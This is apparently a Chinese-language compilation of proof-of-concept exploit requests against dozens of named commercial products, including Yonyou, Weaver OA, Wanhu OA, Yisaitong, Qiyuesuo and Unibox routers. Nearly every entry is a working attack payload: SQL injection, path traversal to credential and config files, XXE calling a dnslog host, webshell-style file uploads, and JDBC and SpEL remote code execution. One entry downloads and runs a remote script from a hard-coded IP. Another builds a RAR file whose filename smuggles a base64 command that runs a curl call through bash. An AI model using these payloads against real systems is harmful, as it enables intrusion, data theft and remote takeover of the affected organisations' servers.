Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: close
Content-Type: application/json
Content-Length: 94

"{\"userName\":\"Bob\", \"loginUrl\":\"`id`\", \"role\": \"\", \"password\":
\"123456789\"}" #
```

时空智友ERP系统 updater.uploadStudioFile 文件上传

poc

```
POST /formservice?service=updater.uploadStudioFile HTTP/1.1
Host: xxxx.com
Content-Type: application/x-www-form-urlencoded

content=<updater xmlns:jsp="http://java.sun.com/JSP/Page"><filename>test.jspx</filename>
<filepath>../../../images/</filepath><filesize>347</filesize><lmtime>{{time()}}</lmtime>
<jsp:scriptlet>out.println(java.util.UUID.randomUUID().toString());new
java.io.File(application.getRealPath(request.getServletPath())).delete();
</jsp:scriptlet></updater>
```

上海网仕科技 Transcoder MS index.php SQL注入

poc

```
POST /webtrans/index.php?controller=user%action=login HTTP/1.1

name=testaaa;) AND (SELECT 3333 FROM (SELECT(SLEEP(4)))xSEI) AND
('aFKS'='aFKS&pass=QWR5U2VjCg%3D%3D&lang=zh_CN
```

时空智友企业流程化管控系统XML外部实体注入

poc

```
POST /formservice?service=attachment.write&isattach=false&filename=c.jsp HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 3

ccc
```

时空智友企业流程化管控系统 richclient.openForm XML外部实体注入

poc

```
POST /formservice?service=richclient.openForm HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/106.0.1447.2 Safari/537.36
Content-Type: application/xml
Content-Length: 181

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "http://example.dnslog.cn">]>
<xxx>&xxe;</xxx>
```

山石网科安全管理平台HSM monitor存在任意文件上传

poc

https://vip.bdziyi.com/58462/

Unibox路由器任意文件读取

poc

```
GET /tools/download_csv.php?download_file=../../../etc/passwd HTTP/1.1
```


Unibox路由器update_byod.php SQL注入

poc

```
POST /authentication/update_byod.php HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/75.0.3770.100 Safari/537.36Accept-Encoding: gzip, deflate
Connection: close

update=1&macAddress=1' AND (SELECT 2222 FROM (SELECT(SLEEP(5)))ogZo) AND
'NXsn'='NXsn&oldMacAddress=
```

WebOne 劳动力与考勤管理套件 DownloadFile.aspx 任意文件读取

poc

```
/webForms/Download/DownloadFile.aspx?fileid=/../../web.config&flag=report
```

Wazuh服务器远程代码执行漏洞（CVE-2025-24016）

poc

```
POST /security/user/authenticate/run_as HTTP/1.1
Host: xxxx.com
Content-Type: application/json
Authorization: Basic <base64(username:password)>
Content-Length: 6667

{"__unhandled_exc__":{"__class__": "NotARealClass", "__args__": []}}
```

WebOne劳动力与考勤管理软件的/webForms/Download/DownloadFile.aspx接口存在任意文件读取

poc

```
/webForms/Download/DownloadFile.aspx?fileid=/../../web.config&flag=report
```

WPS未授权访问导致RCE

poc

https://vip.bdziyi.com/58301/

万户OA name_judge.jsp SQL注入

poc

```
POST /defaultroot/modules/govoffice/custom_documentmanager/name_judge.jsp;.js HTTP/1.1
Host: xx
Content-Type: application/x-www-form-urlencoded
Content-Length: xx

formType=1+AND+1337=DBMS_PIPE.RECEIVE_MESSAGE('any',4)--&govFormName=1&formId=1
```

信呼OA uploawAction.php 接口存在SQL注入

poc

```
POST /index.php?a=upfile&n=uploaw|api&d=task HTTP/1.1
X-Requested-With:XMLHttpRequest
Content-Type:multipart/form-data;boundary=————WebKitFormBundaryitXXXXXXXX

————WebKitFormBundaryitXXXXXXXX
Content-Dispostion:form-data;name="file";filename="a',web=(select
if(123=123,sleep(5),0))--,png"
test
————WebKitFormBundaryitXXXXXXXX
```

用友NC listUserSharingEvents 存在SQL注入

poc

```
 /portal/pt/oacoSchedulerEvents/listUserSharingEvents?
agent=6')+AND+1=UTL_INADDR.GET_HOST_ADDRESS('~'||(user)||'~')--
&pageId=login&sch_ed=2&sch_sd=1
```

用友NC changeEvent SQL注入漏洞

poc

```
POST /portal/pt/oacoSchedulerEvents/changeEvent?pageId=login HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded

event_id=1' AND 1=dbms_pipe.receive_message('RDS',5)--+#&startDate=2025-07-
01 00:00:00&startDate_old=2025-07-01 24:00:00
```

用友 畅捷通CRM newleadset.php 存在SQL注入

poc

```
 /lead/newleadset.php?
gblOrgID=1+AND+%28SELECT+5244+FROM+%28SELECT%28SLEEP%289%29%29%29HAjH%29--+-
&DontCheckLogin=1
```

用友 畅捷通T+Load处存在SQL注入

poc

```
//tplus/UFAQD/KeyInfoList.aspx?
preload=1&zt=%27);declare%20%40shell%20int%3Bexec%20sp_oacreate%20%22wscript.shell%22%2C
%40shell%20output%3Bexec%20sp_oamethod%20%40shell%2C%22run%22%2Cnull%2C%22sqlps%20IEX%20
((new-
object%20net.webclient).downloadstring('http%3A%2F%2F103.199.106.62%3A6000%2Fbeta'))%22%
3b--+
```

用友 畅捷通T+ keyEdit.aspx 存在SQL注入

poc

```
 GET /tplus/UFAQD/keyEdit.aspx?KeyID=222%27%20and%201=(select%20@@version)%20--
&preload=1 HTTP/1.1
```

用友 畅捷通AddressSettingController存在SSRF

poc

```
POST /tplus/ajaxpro/Ufida.T.SM.UIP.UA.AddressSettingController,Ufida.T.SM.UIP.ashx?
method=TestConnnect HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101
Firefox/128.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,im
age/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ASP.NET_SessionId=sfzg0pgxvld3ltgimecqkjg4;
Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1721822405;
Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1721822415; HMACCOUNT=AFE08148BD092161
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

{
  "address":"bftsce.dnslog.cn"
}
```

用友 畅捷通T+ FileUploadHandler任意文件上传

poc

```
POST /tplus/SM/SetupAccount/FileUploadHandler.ashx/;/login HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/92.0.2527.28 Safari/537.36
```

```
Content-Length: 554
Connection: close
Content-Type: multipart/form-data; boundary=f95ec6be8c3acff8e3edd3d910d3b9a6
Accept-Encoding: gzip

--f95ec6be8c3acff8e3edd3d910d3b9a6
Content-Disposition: form-data; name="file"; filename="123.asp"
Content-Type: image/jpeg

<%

Response.Write
chr(101)&chr(49)&chr(54)&chr(53)&chr(52)&chr(50)&chr(49)&chr(49)&chr(49)&chr(48)&chr(98)
&chr(97)&chr(48)&chr(51)&chr(48)&chr(57)&chr(57)&chr(97)&chr(49)&chr(99)&chr(48)&chr(51)
&chr(57)&chr(51)&chr(51)&chr(55)&chr(51)&chr(99)&chr(53)&chr(98)&chr(52)&chr(51)

CreateObject("Scripting.FileSystemObject").DeleteFile(server.mappath(Request.ServerVaria
bles("SCRIPT_NAME")))

%>


--f95ec6be8c3acff8e3edd3d910d3b9a6--



GET /tplus/Userfiles/123.asp HTTP/1.1
```

亿赛通 HookWhiteListservice SQL 注入

poc

```
 疑似CVE-2024-10500
/CDGServer3/policy/HookWhiteList;logindojojs?
command=AddHookWhiteList&policyId=1';if(db_name()='CobraDGServer')+WAITFOR+DELAY+'0:0:5'
--
```

亿赛通 WorkFlowAction SQL 注入

poc

```
POST /CDGServer3/3g/WorkFlowAction;Servicelogin HTTP/1.1
Host: {{Hostname}}
Connection: close
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*
/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9

command=Approval&userId=1&fromurl=getTodoList.jsp?
curpage=111&flowId=111'%3bWAITFOR+DELAY+'0%3a0%3a4'--
```

用友 畅捷通-TPlus SQL注入

poc

```
POST /tplus/ajaxpro/Ufida.T.SM.UIP.MultiCompanyController,Ufida.T.SM.UIP.ashx?
method=CheckMutex HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/71.0.445.106 Safari/537.36
Content-Length: 248
Connection: close
Content-Type: application/json
Accept-Encoding: gzip

{"accNum": "3' AND 5227 IN (SELECT (CHAR(113)+CHAR(118)+CHAR(112)+CHAR(120)+CHAR(113)+
(SELECT (CASE WHEN (5227=5227) THEN CHAR(49) ELSE CHAR(48)
END))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(120)+CHAR(113)))-- NCab", "functionTag":
"SYS0104", "url": ""}
```

易宝OA-getPosition存在sql注入

poc

```
GET /SmartTradeScan/StockTake/getPosition?
positionName=%27%20AND%202328%20IN%20(SELECT%20(CHAR(113)+CHAR(118)+CHAR(112)+CHAR(120)+
CHAR(113)+
(SELECT%20(CASE%20WHEN%20(2328=2328)%20THEN%20CHAR(49)%20ELSE%20CHAR(48)%20END))+CHAR(11
3)+CHAR(122)+CHAR(112)+CHAR(98)+CHAR(113)))%20AND%20%27EHJe%27=%27EHJe&stockRoomID=1&ope
ID=1&currentStatus=1&pickUpMode=11 HTTP/1.1
Host:
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/134.0.0.0 Safari/537.36
Cache-Control: max-age=0
```

用友NC getFormItem doPost SQL注入

poc

```
POST /portal/pt/servlet/getFormItem/doPost?
pageId=login&clazz=nc.uap.wfm.vo.base.ProDefBaseVO&proDefPk=1 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 19
```

用友 NC IMetaWebService4BqCloud 数据源 SQL 注入

poc

```
POST /uapws/service/uap.pubitf.ae.meta.IMetaWebService4BqCloud HTTP/1.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/132.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*
/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-
Language: zh-CN,zh;q=0.9Cookie:
JSESSIONID=09133CFE3A7B0CE8341AB1A7DEDFCCDE.serverConnection: keep-aliveSOAPAction:
urn:loadFields
Content-Type: text/xml;charset=UTF-8
Host:
Content-Length: 350

<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:imet="http://meta.ae.pub
itf.uap/IMetaWebService4BqCloud">   <soapenv:Header/>   <soapenv:Body>
  <imet:loadFields>         <!--type: string-->         <imet:string>SmartModel^1';*
</imet:string>      </imet:loadFields>   </soapenv:Body></soapenv:Envelope>
```

亿邮邮件网关 RCE

poc

```
 #!/bin/bash
PAYLOAD_NAME="testpoc.pdf\`{echo Y3VybCBodHRwOi8vc2R5eWE0Mm4uZG5zLmFkeXNlYy5jb20K}|
{base64 -d}|bash\`"
WORKDIR=$(mktemp -d)
cd "$WORKDIR" || exit 1
echo -n "12345" > "$PAYLOAD_NAME"
OUTPUT_RAR="payload_testpoc.rar"
rar a -ma5 -m0 -ep "$OUTPUT_RAR" "$PAYLOAD_NAME"
mv "$OUTPUT_RAR" "$OLDPWD"
echo "[+] Done: $OUTPUT_RAR created."
rm -rf "$WORKDIR"
```

用友OA系统U8Cloud FilterCondAction SQL注入

poc

```
 /service/~iufo/com.ufida.web.action.ActionServlet?
action=nc.ui.bi.report.rep.FilterCondAction&method=execute&repID=1%27);WAITFOR+DELAY+%27
0:0:5%27--
```

用友NC baplink SQL注入

poc


```
GET /portal/pt/baplink/content?pageId=login&pk_funnode=-1* HTTP/1.1
Host:
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/532.1 (KHTML, like Gecko)
Chrome/41.0.887.0 Safari/532.1
Accept: text/html, image/gif, image/jpeg, ; q=.2, /; q=.2
```

用友U8 Cloud /u8cloud/api/uapbd.costsubj.assign SQL注入

poc

```
GET /u8cloud/api/uapbd.costsubj.assign HTTP/1.1
Host: <target-host>
system: ' AND 6783 IN (SELECT (CHAR(113)+CHAR(98)+CHAR(107)+CHAR(107)+CHAR(113)+(SELECT
(CASE WHEN (6783=6783) THEN CHAR(49) ELSE CHAR(48)
END))+CHAR(113)+CHAR(113)+CHAR(112)+CHAR(98)+CHAR(113)))-- xBCW
User-Agent: Mozilla/5.0 (compatible; poc-bot)
```

用友NC deleteEvent存在SQL注入

poc

```
POST /portal/pt/oacoSchedulerEvents/deleteEvent?pageId=login HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/103.0.5060.66 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*
/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=255CAD868C61636AFF6029E1356C6AFF.ncServer;
JSESSIONID=55DEB927A6B17337DC1D14CB52C50B19.ncServer
Content-Type: application/x-www-form-urlencoded

event_id=-1'AND 1=dbms_pipe.receive_message('RDS',5)--+#+&startDate=2025-06-27
12:12:12&event_ts=2025-06-27 12:12:12
```

Zktime考勤管理系统iclock存在SQL注入

poc

```
POST /iclock/ic1ock HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101
Firefox/114.0
Connection: close
Content-Type: application/x-www-form-urlencoded

submit=%E6%89%A7%E8%A1%8C+SQL+%E8%AF%AD%E5%8F%A5&sql=select version()
```

众勤通信设备贸易（上海）有限公司ZyXEL-EMG3425-Q10A存在弱口令

poc

https://vip.bdziyi.com/58466/

唯德知识产权管理系统任意文件读取

poc

```
GET /wxInterface/Case.ashx/WSDownloadPDF?file_type=1&app_no=../../&file=web.config
HTTP/1.1
Host:
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/103.0.5060.66 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*
/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ASP.NET_SessionId=guzw5ogyikt1yllmgstl35kd
```

契约锁电子签章系统远程代码执行漏洞

poc

```
/api/setup/dbtest?
db=MYSQL&host=127.0.0.1%3A3308%2Ftest%3FallowLoadLocalInfile%3Dtrue%26allowUrlInLocalInf
ile%3Dtrue%26name%3D1%26username%3Dfileread_%2Fetc%2Fpasswd%26password%3D1&port=1&name=1
&username=fileread_/etc/passwd&password=1

/api/setup/dbtest?
db=POSTGRESQL&host=localhost&port=5321&username=root&name=test%2F%3FsocketFactory%3Dorg%
2Espringframework%2Econtext%2Esupport%2EClassPathXmlApplicationContext%26socketFactoryAr
g%3Dhttp%3A%2F%2Fxxx.dnslog.cn%2F1%2Exml
```


契约锁电子签章系统远程代码执行漏洞

poc

```
POST /pdfverifier/%2e%2e/template/html/add HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/75.0.3770.100 Safari/537.36
Content-Type: application/json

{
  "file": "1",
  "title": "2",
  "params": {
    "extensionParam": "{\"expression\":\"var a=new
org.springframework.expression.spel.standard.SpelExpressionParser();var b='d2hvYW1p';var
b64=java.util.Base64.getDecoder();var deStr=new java.lang.String(b64.decode(b),'UTF-
8');var c=a['parseExpression'];c.getValue();\"}",
    "name": "test"
  }
}
```

孚盟云CRM /LicMould.ashx SQL注入

poc

```
POST /Ajax/LicMould.ashx HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
Content-Length: 123

action=DeleteEmp&key=1%20WAITFOR%20DELAY%20'0:0:4'-&fuids=abc,def,
```

孚盟云 GetIcon.aspx SQL 注入

poc

```
 /Common/GetIcon.aspx?FUID=-1'and+1=@@VERSION--
```

宏景OA DigestDownLoad存在SQL注入

poc

```
GET /servlet/DigestDownLoad?
type=original&id=i8hoHAILh4YkvJtIAayRbgJzqZUPAATTP2HJBPAATTPfhxbhGm4jOsPAATTP2HJFPAATTPy
M8PAATTP3HJDPAATTP HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

帆软报表fr_remote_design文件上传

poc

```
 /WebReport/ReportServer?
op=fr_remote_design&cmd=design_install_reufile&reuFileName=vulntest.reu&isComplete=false
```

扁鹊医疗GetLyfsByParams sql注入

poc

```
POST /AppService/BQMedical/WebServiceForFirstaidApp.asmx/GetLyfsByParams HTTP/1.1
Host:
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Connection: keep-alive
Content-Length: 198
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.0 (KHTML, like Gecko)
Chrome/24.0.809.0 Safari/534.0

strOpid=1 AND (SELECT 9054 FROM(SELECT COUNT(*),CONCAT(0x7b7e7b,(SELECT
(ELT(9054=9054,1))),md5(123456),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP
BY x)a)&strTempID=1&strNumber=&strUnit=
```

扁鹊医疗GetMonitorList sql注入

poc

```
 /AppService/BQMedical/WebServiceForFirstaidApp.asmx/GetMonitorList?
UserID=1&OperatorID=1&SearchName=string%27%26%26+updatexml(1,CONCAT_WS(1,1,current_user)
,1)+%26%26%27
```

昂捷CRM RptViewer.aspx存在SSRF

poc

https://vip.bdziyi.com/58463/

智能办公系统 MobileOA.asmx SQL注入

poc

```
POST /iOffice/prg/set/wss/MobileOA.asmx HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/75.0.3770.100 Safari/537.36
Content-Type: text/xml; charset=utf-8

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
               xmlns:xsd="http://www.w3.org/2001/XMLSchema"
               xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GeMrNewData xmlns="http://tempuri.org/">
      <MobileOAEmailAddress>' AND 5079 IN (SELECT
(CHAR(113)+CHAR(122)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (5079=5079) THEN CHAR(49)
ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(112)+CHAR(98)+CHAR(113)))--
eqJq</MobileOAEmailAddress>
```

```
    </GeMrNewData>
  </soap:Body>
</soap:Envelope>
```

森鑫炬水务企业综合运营平台 /Forms/Instance/Get 文件读取

poc

```
GET /Forms/Instance/Get?file=C:/Windows/win.ini
```

泛微Ecology目录遍历漏洞

poc：

```
 /hrm/hrm_e9/orgChart/js/jquery/plugins/jqueryFileTree/connectors/jqueryFileTree.jsp?
dir=/page/resource/userfile/../../
```

泛微OA前台登录绕过

poc：


```
POST /dwr/call/plaincall/?callCount=1&c0-id=1&c0-scriptName=WorkflowSubwfSetUtil&c0-
methodName=LoadTemplateProp&batchId=a&c0-
param0=string:mobilemode&scriptSessionId=1&a=.swf HTTP/1.1
Host: xxx:xxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/127.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*
/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1



GET /mobilemode/mobile/server.jsp?
invoker=com.api.mobilemode.web.mobile.service.MobileEntranceAction&action=meta&appid=1&a
ppHomepageId=1&mTokenFrom=QRCode&mToken=BAAD7750912407C15FBC7CA2BDA4BDDDAEACE215E26BB871
CE8D171028A66A70&_ec_ismobile=true&timeZoneOffset=&a=.swf HTTP/1.1
Host: xxxx:xxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/127.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*
/*;q=0.8,application/signed-exchange;v=b3;q=0.7
```

```
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1



GET /weaver/ImgFileDownload/a.swf?sessionkey=b20e3665-d8a8-403d-a041-0c5883626da4&a=.swf
HTTP/1.1
Host: xxxx:xxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/127.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*
/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
```

泛微OA后台RCE

poc：

```
POST /interface/outter/outter_encryptclassOperation.jsp?a=1.swf HTTP/1.1
Host: xxxx:xxx
If-None-Match: "6evu6PUo/Cz"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/127.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*
/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
If-Modified-Since: Thu, 23 Jun 2022 11:04:04 GMT
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVnIIu
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.9
Cookie: ecology_JSessionid=aaa_db33mBm_EaOGEO8bz; __randcode__=b7e3d245-5b6b-44ba-b06b-
f4b5592d68dc


------WebKitFormBoundaryVnIIugCdViAmEyK3
Content-Disposition: form-data; name="operation"

add
------WebKitFormBoundaryVnIIugCdViAmEyK3
Content-Disposition: form-data; name="encryptname"

ttttaaa
------WebKitFormBoundaryVnIIugCdViAmEyK3
Content-Disposition: form-data; name="encryptclass"

org.mvel2.sh.ShellSession
------WebKitFormBoundaryVnIIugCdViAmEyK3
Content-Disposition: form-data; name="encryptmethod"
```

```
exec
------WebKitFormBoundaryVnIIugCdViAmEyK3
Content-Disposition: form-data; name="decryptmethod"

exec
------WebKitFormBoundaryVnIIugCdViAmEyK3
Content-Disposition: form-data; name="isdialog"

0
------WebKitFormBoundaryVnIIugCdViAmEyK3
Content-Disposition: form-data; name="x"; filename="x"

x
------WebKitFormBoundaryVnIIugCdViAmEyK3--
```

```
POST /api/integration/Outter/getOutterSysEncryptClassOperates?a=1.swf HTTP/1.1
Host: xxxx:xxx
If-None-Match: "6evu6PUo/Cz"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/127.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*
/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
If-Modified-Since: Thu, 23 Jun 2022 11:04:04 GMT
Content-Type: application/x-www-form-urlencoded
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.9
Cookie: ecology_JSessionid=aaa_db33mBm_EaOGEO8bz; __randcode__=b7e3d245-5b6b-44ba-b06b-
f4b5592d68dc
```

```
POST /interface/outter/outter_encryptclassOperation.jsp?a=1.swf HTTP/1.1
Host: xxxx:xxx
If-None-Match: "6evu6PUo/Cz"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/127.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*
/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
If-Modified-Since: Thu, 23 Jun 2022 11:04:04 GMT
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryITdrx
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.9
Cookie: ecology_JSessionid=aaa_db33mBm_EaOGEO8bz; __randcode__=b7e3d245-5b6b-44ba-b06b-
f4b5592d68dc


------WebKitFormBoundaryITdrxxca8L1Xo7Rq
```

```
Content-Disposition: form-data; name="operation"

test
------WebKitFormBoundaryITdrxxca8L1Xo7Rq
Content-Disposition: form-data; name="plaintext"

马子
------WebKitFormBoundaryITdrxxca8L1Xo7Rq
Content-Disposition: form-data; name="id"

2
------WebKitFormBoundaryITdrxxca8L1Xo7Rq
Content-Disposition: form-data; name="x"; filename="x"

1
------WebKitFormBoundaryITdrxxca8L1Xo7Rq--
```

泛微ecology9FileDownloadLocation任意文件下载漏洞

poc

```
/weaver/weaver.email.FileDownloadLocation/login/LoginSSOxjsp/x.FileDownloadLocation?ddcode=7ea7ef3c41d67297&downfiletype=eml&download=1&mailId=1123+union+select+*+from+(select+1+as+resourceid,'../ecology/WEB-INF/prop/mobilemode.properties'+as+x2,'3'+as+x3,(select+*+from+(select+*+from+(select+password+from+HrmResourceManager+where+id=1)x)x)+as+x4,5+as+x5,6+as+x6)x+where+1=1&mailid=action.WorkflowFnaEffectNew&parentid=0
```

泛微E-Cology9 FileDownloadLocation 身份认证绕过导致SQL注入

poc

```
/weaver/FileDownloadLocation/login/LoginSSO.%256a%2573%2570?ddcode=7ea7ef3c41d67297&mrfuuid=1%27;if+db_name(1)=%27master%27+WAITFOR+delay+%270:0:5%27--+&mailid=0&a=.swf
```

泛微-eoffice block_content.php SQL注入

poc

```
 /general/new_mytable/block_content.php?block_id=1%20UNION%20ALL%20SELECT%20CONCAT(0x71787a6a71,IFNULL(CAST(md5(123456)%20AS%20NCHAR),0x20),0x7171627671)--%20-
```

泛微datasource update jdbc远程代码执行

poc

```
POST /api/integration/datasource/update/ HTTP/1.1
Host:
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,ap
plication/signed-exchange;v=b3
Accept-Encoding: gzip
Connection: keep-alive
Content-Length: 377
Content-Type: application/x-www-form-urlencoded
Cookie: __clusterSessionIDCookieName=adcf474c-8ca4-4002-b0d7-
ce6e32486666;__clusterSessionCookieName=4D368CCF5613FEED9A080A2013810BDE;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246

pointid=aaa&type=sqlserver2025&iscluster=2&username=333&port=1&dbname=aaaa&password=11&u
sepool=1&minconn=5&maxconn=10&sortid=1&id=1&operate=test&host=abc&url=jdbc:h2:mem:test;M
ODE=MSSQLSERVER;INIT=CREATE ALIAS EXEC AS $$ String exec(String cmd) throws
java.lang.Exception { return
java.lang.Runtime.getRuntime().exec(cmd).getInputStream().toString(); } $$\;CALL
EXEC('whoami');
```

泛微E-cology9 前台SQL注入

poc


```
POST /mobile/browser/WorkflowCenterTreeData.jsp?node=wftype_1&scope=2333 HTTP/1.1
Host: ip:port
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/74.0.3729.131 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,ap
plication/signed-exchange;v=b3
